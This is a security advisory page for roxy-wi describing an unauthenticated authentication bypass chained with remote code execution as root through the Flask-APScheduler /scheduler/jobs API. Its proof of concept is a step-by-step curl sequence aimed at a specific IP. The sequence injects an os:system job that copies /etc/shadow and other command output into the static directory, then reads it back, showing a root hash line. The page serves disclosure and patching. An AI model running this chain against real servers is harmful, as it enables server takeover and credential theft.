Vulnerability DatabaseGHSA-hqf9-xcvr-7xj5

GHSA-hqf9-xcvr-7xj5: 
Python vulnerability analysis and mitigation

Security Vulnerability Report — CWE-78

Summary

Unauthenticated authentication bypass + /scheduler/jobs RCE chain (unauthenticated root RCE + /etc/shadow disclosure)

Description

Affected Repository: https://github.com/roxy-wi/roxy-wi Branch: master Commit: 7744ecf5f53955f3c0036ddd52f539930ef24b36

Unauthenticated authentication bypass + /scheduler/jobs RCE chain (unauthenticated root RCE + /etc/shadow disclosure)

  • Risk summary: Any unauthenticated attacker bypasses roxy-wi's global before_request authentication guard by appending ?api=1 to the URL, then unauthorizedly POSTs a malicious job with func=os:system to the Flask-APScheduler /scheduler/jobs REST API (which has no SCHEDULER_AUTH configured, is not routed through a blueprint, and has no secondary validation), and synchronously triggers execution via /scheduler/jobs/<id>/run, executing arbitrary commands with root privileges. Command output is redirected to the app/static/ directory, then read back without authorization via /static/<file>?api=1, achieving a complete unauthenticated root RCE with response output. This allows reading /etc/shadow (including root password hashes), writing cron jobs/SSH keys for persistence, and full server takeover. No credentials are required at any point.
  • Affected endpoints:
    • GET /scheduler/jobs?api=1 (unauthorized listing of all jobs)
    • POST /scheduler/jobs?api=1 (unauthorized injection of func=os:system job)
    • POST /scheduler/jobs/<job_id>/run?api=1 (unauthorized synchronous execution trigger)
    • GET /static/<file>?api=1 (unauthorized read-back of command output file; static is whitelisted)
    • Port 8080
  • Exploitation conditions: Exploitable with default configuration, no credentials required. Two independent flaws are chained:
    1. Authentication bypass (CVE-2026-45567 root cause): app/login.py:19 uses if 'api' not in request.url as a substring match to determine whether to skip authentication. request.url is the full URL string (including query string), so any URL containing the four letters api (e.g., ?api=1, ?x=api) skips the entire authentication block (get_users_params/is_user_active/check_login are all skipped).
    2. Unprotected sink (Flask-APScheduler without SCHEDULER_AUTH): app/config.py:13 unconditionally sets SCHEDULER_API_ENABLED=True without configuring SCHEDULER_AUTH; flask_apscheduler's _apply_auth passes through when auth=None. Furthermore, the 8 /scheduler/* routes are mounted directly on the app via app.add_url_rule (not via a blueprint), outside the scope of any blueprint's @bp.before_request @jwt_required secondary validation. The POST /scheduler/jobs add_job passes body **kwargs directly to APScheduler, which uses ref_to_obj (__import__+getattr) to resolve the func string os:system into a callable object; the POST /scheduler/jobs/<id>/run run_job synchronously calls job.func(*job.args) = os.system("<attacker-controlled>").
    • roxy-wi v8.2.6.4 default configuration (requirements.txt hard-dependency on Flask-APScheduler==1.13.1, config.py:13 unconditionally enabled, app/__init__.py:27-29 unconditionally init_app+start) — all deployments are affected.
  • Exploit PoC:

# Single-step PoC (one curl command, no credentials required)

# 1. Unauthorized confirmation that /scheduler is reachable (auth bypass)
curl -s 'http://47.251.10.233:8080/scheduler/jobs?api=1'

# Returns: [{"id":"delete_old_logs","func":"app.jobs:delete_old_logs",...},...]  HTTP 200 (unauthorized listing of 7 jobs)

# 2. Unauthorized injection of os:system job
curl -s -X POST 'http://47.251.10.233:8080/scheduler/jobs?api=1' \
  -H 'Content-Type: application/json' \
  -d '{"id":"rwi_pwn","name":"rwi_pwn","func":"os:system","args":["id > app/static/rwi_id.txt; cat /etc/shadow > app/static/rwi_shadow.txt; cat /etc/hostname > app/static/rwi_host.txt; whoami > app/static/rwi_whoami.txt"],"trigger":"date","run_date":"2026-07-06T16:02:00+08:00","misfire_grace_time":60}'

# Returns: {"id":"rwi_pwn","func":"os:system",...}  HTTP 200 (job registered successfully)

# 3. Unauthorized synchronous execution trigger
curl -s -X POST 'http://47.251.10.233:8080/scheduler/jobs/rwi_pwn/run?api=1'

# Returns: {"id":"rwi_pwn","func":"os:system",...}  HTTP 200 (os.system executed synchronously)

# 4. Unauthorized read-back of root id
curl -s 'http://47.251.10.233:8080/static/rwi_id.txt?api=1'

# Returns: uid=0(root) gid=0(root) groups=0(root)

# 5. Unauthorized read-back of /etc/shadow (root password hash disclosure)
curl -s 'http://47.251.10.233:8080/static/rwi_shadow.txt?api=1' | head -1

# Returns: root:$y$j9T$a3cR9qoyCjv6G.ViyR43j1$KIZRMVhOqtTPFLdFrthP6F4ZcXEnSwKAJodBHbjvg99:20640:0:99999:7:::

Severity

CVSS v3.1: 9.8 (Critical) Vulnerability class: CWE-78


Source: NVD

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-113663HIGH8.8
  • Python logoPython
  • ag2
NoYesNov 05, 2026
CVE-2026-119083HIGH8.4
  • Python logoPython
  • gluonts
NoYesNov 05, 2026
GHSA-mf5v-w3w3-f6cgMEDIUM5.3
  • Python logoPython
  • opentelemetry-api
NoYesNov 05, 2026
GHSA-6p33-92hw-4v86MEDIUM4
  • Python logoPython
  • extract-msg
NoYesNov 06, 2026
GHSA-q2gc-fpw5-3v3cMEDIUMN/A
  • JavaScript logoJavaScript
  • tina4-python
NoYesNov 05, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management